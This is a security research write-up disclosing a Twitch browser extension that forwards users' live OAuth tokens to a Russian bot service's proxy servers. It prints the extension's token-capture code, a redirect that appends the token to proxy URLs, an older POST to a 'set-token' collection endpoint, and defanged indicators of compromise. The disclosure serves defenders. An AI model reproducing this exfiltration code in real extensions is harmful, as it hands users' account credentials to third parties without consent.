Malicious Twitch Browser Extension Exposes 30,000 Users’ OAuth Tokens to Russian Bot Service
Malicious Twitch Browser Extension Exposes 30,000 Users’ OAuth Tokens to Russian Bot Service
A Twitch browser extension on Chrome and Firefox forwards users’ live OAuth session tokens through proxies controlled by a Russian bot service.
- Kush Pandya
Socket’s Threat Research Team identified a cross-store browser extension, “Twitch Enhanced Viewer | JeetBot,” that forwards each user’s live Twitch OAuth session token to proxy servers operated by a Russian commercial bot service. The extension ships on both the Chrome Web Store (extension ID pnhhdhhcadcjfckjhpmjneldiegbojfb
, 30,000 users) and Firefox Add-ons (twitchenhancedviewer@example.com
, 552 users). Both listings are live at time of writing.
- Current builds (v85.x) forward the token inline as an
&auth=
query parameter on a network-layer redirect to the operator's proxy. The token is forwarded for every channel the user watches, except a hardcoded allowlist of ten Russian streamer channels, whose sessions are exempted from forwarding. - Earlier v4.x builds (for example version 4.8, January 2026) went further, POSTing the token to a dedicated set-token endpoint on the operator host, with backups on deno.dev and deno.net.
- The operator is a commercial Twitch, Kick, and VK-Live bot SaaS that has broad Twitch host permissions and relays live authenticated sessions through its own infrastructure.
What the Extension Claims to Do
“Twitch Enhanced Viewer | JeetBot” markets itself as a Twitch quality-of-life tool: block Twitch ads, force 1080p and region-unlock streams, and auto-collect channel points. That value proposition is real and is why users install it, and it is the cover for the token forwarding. To deliver ad-free and region-unlocked video, the extension redirects Twitch’s video-playlist requests through operator-controlled proxy servers. The user’s Twitch OAuth token rides along on that redirect.
How the Token Is Captured and Forwarded
Capturing the token from the Twitch page
The content script reads the Authorization
header that Twitch’s own web client uses and relays it to the extension background worker. In src/scripts/content.js
, the captured header and Twitch device id are passed over the extension’s internal bridge:
return _sendBridgeMessage("tev-proxy-session", {
authorizationHeader: __TEV_STATE__.AuthorizationHeader || null,
deviceId: __TEV_STATE__.GQLDeviceID || null,
});
The background worker stores that value and later strips the prefix to recover the raw token. That the value is the Twitch OAuth token, not an extension-specific device token, is confirmed by how it is used: the same token is sent as Authorization: OAuth ${token}
to Twitch’s own token-validation endpoint in src/scripts/background.js
:
const response = await fetch(TWITCH_TOKEN_VALIDATE_URL, {
cache: "no-store",
headers: { Authorization: `OAuth ${token}` },
});
This is the account-scoped Twitch OAuth token, which grants access to chat, whispers, and account settings, not the narrow stream-playback token. The extension already handles the stream token separately (it is present in the usher URL as token and sig), and its own token-strip path routes some channels through the proxy with no token at all, so appending the full account credential exposes far more than fetching the video requires.
Forwarding the token to the operator proxy
The default proxy destination is defined in src/scripts/background.js
:
const DEFAULT_PROXY_URL = "https://enhanced[.]jeetbot[.]cc/";
const DEFAULT_FORCED_TOKEN_STRIP_PROXY_URL = "https://proxy[.]morphilina[.]me/";
const PROXY_CATALOG_API_URL = "https://ext-styles[.]jeetbot[.]cc/api/v1/proxies";
When the extension redirects Twitch’s video playlist request (to usher.ttvnw.net
) through that proxy, it appends the token as an &auth=
query parameter. The relevant construction in src/scripts/background.js
:
const authToken = extractAuthToken(proxyAuthorizationHeader);
const authParam = !shouldStripToken && authToken
? `&auth=${encodeURIComponent(authToken)}`
: "";
const deviceParam = proxyDeviceId && proxyDeviceId.trim()
? `&device_id=${encodeURIComponent(proxyDeviceId.trim())}`
: "";
const proxyModeParam = getProxyModeParam(redirectProxyUrl);
return {
redirectUrl: `${redirectProxyUrl}${url}${authParam}${deviceParam}${proxyModeParam}`,
};
Because the token is placed in the URL query string, it is written in cleartext into the proxy server’s request logs. On Firefox the redirect uses a blocking webRequest.onBeforeRequest
listener; on Chrome the same result is achieved with a declarativeNetRequest regexSubstitution
rule. The token-handling semantics are identical across the two stores.
The token-strip allowlist
The token is omitted from the redirect only for a hardcoded set of ten channels, defined in src/scripts/background.js
:
const DEFAULT_PROXY_TOKEN_STRIP_CHANNELS = [
"pch3lk1n",
"fasoollka",
"flamie",
"dosia",
"fander",
"almazer",
"forzorezor",
"akyuliych",
"lagoda1337",
"lagoda",
];
These are Russian-language streamer channels, several of them well-known Counter-Strike figures, consistent with the operator’s Russian-language audience. For every channel outside this list, the user’s live token is forwarded to the proxy.
The Earlier Builds Collected Tokens Outright
In the v4.x builds (for example version 4.8, released January 8, 2026), src/worker_claimer.js
defined a set of collection endpoints:
const PROXY_ENDPOINTS = {
main: "https://enhanced[.]jeetbot[.]cc/",
backup1: "https://thebeholder-proxy[.]deno[.]dev/",
backup2: "https://proxy[.]thebeholder[.]deno[.]net/"
};
It derived a set-token
path on the selected endpoint and POSTed the captured token to it:
function getProxySetTokenUrl(base) {
return base + "set-token";
}
try {
await fetch(getProxySetTokenUrl(selectedProxyUrl), {
method: 'POST',
mode: 'cors',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ token })
});
} catch (error) {
// Не удалось отправить token в прокси - тихо игнорируем, не выводим ошибку
}
The Russian comment in the catch block translates to: “the token send failed, so silently ignore it and do not surface the error.”
The same file tracks the last token sent and applies a cooldown, with Russian-language comments:
let lastSentToken = null; // Запоминаем последний отправленный token
In translation, these two comments read 'remember the last sent token' and '5 seconds of cooldown, to avoid frequent sends.'
const TOKEN_SEND_COOLDOWN = 5000; // 5 секунд кулдауна, чтобы избежать частых отправок
De-duplicating and rate-limiting token sends only makes sense if the receiving server persists them, which indicates a server-side token store at that time. The set-token
endpoint is absent from later builds. Per the Firefox Add-ons version history, the version numbering jumped from 7.2.6 (April 25, 2026) to 85.2.2 (May 20, 2026), and the inline &auth=
forwarding is present from v85.2.2 through the current v85.6.1.
Infrastructure and Attribution
The extension’s proxy and configuration hosts, all defanged below, resolve across three IP addresses.
- The default proxy that receives the forwarded token,
enhanced[.]jeetbot[.]cc
, together with the control endpointsjeetbot[.]cc
andapi[.]jeetbot[.]cc
, resolves to152[.]53[.]177[.]186
(netcup GmbH, Germany, AS197540). - The configuration API
ext-styles[.]jeetbot[.]cc
, the token-strip proxymorphilina[.]me
(andproxy[.]morphilina[.]me
), and the screenshot hostdrisnya[.]online
(andimg[.]drisnya[.]online
) resolve to132[.]243[.]113[.]25
(CLODO Cloud, AS216154). - An alternate proxy,
ext-03[.]jeetbot[.]cc
, resolves to80[.]74[.]26[.]162
(also CLODO Cloud, AS216154). - The proxy catalog served from
ext-styles[.]jeetbot[.]cc/api/v1/proxies
andext-styles[.]jeetbot[.]cc/api/v1/forced-proxy
lists the proxy hosts the extension uses, so the operator controls, server-side, which host receives the token. - Historical collection endpoints, now decommissioned, were
enhanced[.]jeetbot[.]cc/set-token
,thebeholder-proxy[.]deno[.]dev/set-token
, andproxy[.]thebeholder[.]deno[.]net/set-token
.
The operator is JeetBot, a commercial Russian-language Twitch, Kick, and VK-Live bot service. Its site footer self-identifies the operator as Popov Aleksandr Alekseevich, contact support@jeetbot[.]cc
, with the copyright attributed to alexue4[.]dev
. The extension’s store developer name is HISHIMIRO on both Firefox Add-ons and chrome-stats. chrome-stats additionally lists a developer email, cybergnyda@gmail[.]com
.
Impact
Approximately 31,000 users across Chrome and Firefox route their live Twitch OAuth session tokens through operator-controlled proxy infrastructure. A Twitch OAuth session token is a bearer credential: whoever holds it can act on the account without the password or a second factor, including reading and sending whispers, posting in chat, and spending channel points. The exposure is undisclosed in both store listings. The Chrome Web Store data-safety section states the developer "will not collect or use your data" and that the data is "not being sold to third parties." The developer's linked privacy policy, hosted at thebeholderbotapi[.]vercel[.]app/twitch-conf
and dated June 25, 2025, goes further, stating that the extension "does not collect, store, or process any user data," and it does not mention the OAuth token or the forwarding anywhere. The token forwarding to enhanced[.]jeetbot[.]cc
contradicts all three.
Recommendations
For Users
Remove “Twitch Enhanced Viewer | JeetBot” from Chrome and Firefox. Then, in Twitch account settings, disconnect all sessions and re-authenticate, which invalidates any token that was forwarded. Treat any browser extension that proxies a logged-in service’s traffic as having access to that service’s session credentials.
For Developers
Do not route requests that carry authentication headers or tokens through third-party servers. If a feature requires proxying, strip credentials before the request leaves the browser and disclose the proxying prominently.
For Security Teams
Block the infrastructure listed in the IOC section at the network layer and inventory endpoints for both extension IDs. Treat a browser extension with host permissions over an authenticated service (here gql.twitch.tv
, usher.ttvnw.net
, and id.twitch.tv
) plus a third-party proxy destination as a credential-exposure risk.
Socket’s Chrome extension protection analyzes extension bundles for hidden data flows, undisclosed credential exfiltration, and C2 backdoors, blocking malicious extensions before they reach user endpoints.
MITRE ATT&CK
- T1176 Browser Extensions
- T1539 Steal Web Session Cookie
- T1557 Adversary-in-the-Middle
- T1071.001 Application Layer Protocol: Web Protocols
Indicators of Compromise (IOCs)
Operator Identifiers
Popov Aleksandr Alekseevich
(self-identified in the jeetbot[.]cc site footer)- Store developer handle:
HISHIMIRO
- Email Address:
support@jeetbot[.]cc
,cybergnyda@gmail[.]com
- Website / Identifier:
alexue4[.]dev
Network Indicators
152[.]53[.]177[.]186
(netcup GmbH, Germany, AS197540; hosts jeetbot[.]cc, api[.]jeetbot[.]cc, enhanced[.]jeetbot[.]cc, enhanced-1[.]jeetbot[.]cc)132[.]243[.]113[.]25
(CLODO Cloud, AS216154; hosts ext-styles[.]jeetbot[.]cc, morphilina[.]me, drisnya[.]online)80[.]74[.]26[.]162
(CLODO Cloud, AS216154; hosts ext-03[.]jeetbot[.]cc)
C2 and Configuration Endpoints
enhanced[.]jeetbot[.]cc
enhanced-1[.]jeetbot[.]cc
ext-03[.]jeetbot[.]cc
proxy[.]morphilina[.]me
ext-styles[.]jeetbot[.]cc/api/v1/proxies
ext-styles[.]jeetbot[.]cc/api/v1/forced-proxy
api[.]jeetbot[.]cc/api/v2/public/extension_helper/
img[.]drisnya[.]online
enhanced[.]jeetbot[.]cc/set-token
(historical, decommissioned)thebeholder-proxy[.]deno[.]dev/set-token
(historical, decommissioned)proxy[.]thebeholder[.]deno[.]net/set-token
(historical, decommissioned)
Extensions
- Chrome:
pnhhdhhcadcjfckjhpmjneldiegbojfb
, SHA-256e17e1e671b597da19b89c5b2d0fa821e90e627860e756ae4947ed27c035330a8
- Firefox:
twitchenhancedviewer@example.com
, SHA-256141c35607dc0e8e400deb380126b3052bd0495b4d37c8dd979c6aa0204b142fc
How it works
Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.
Questions are cached — you'll always get the same 5 for this article.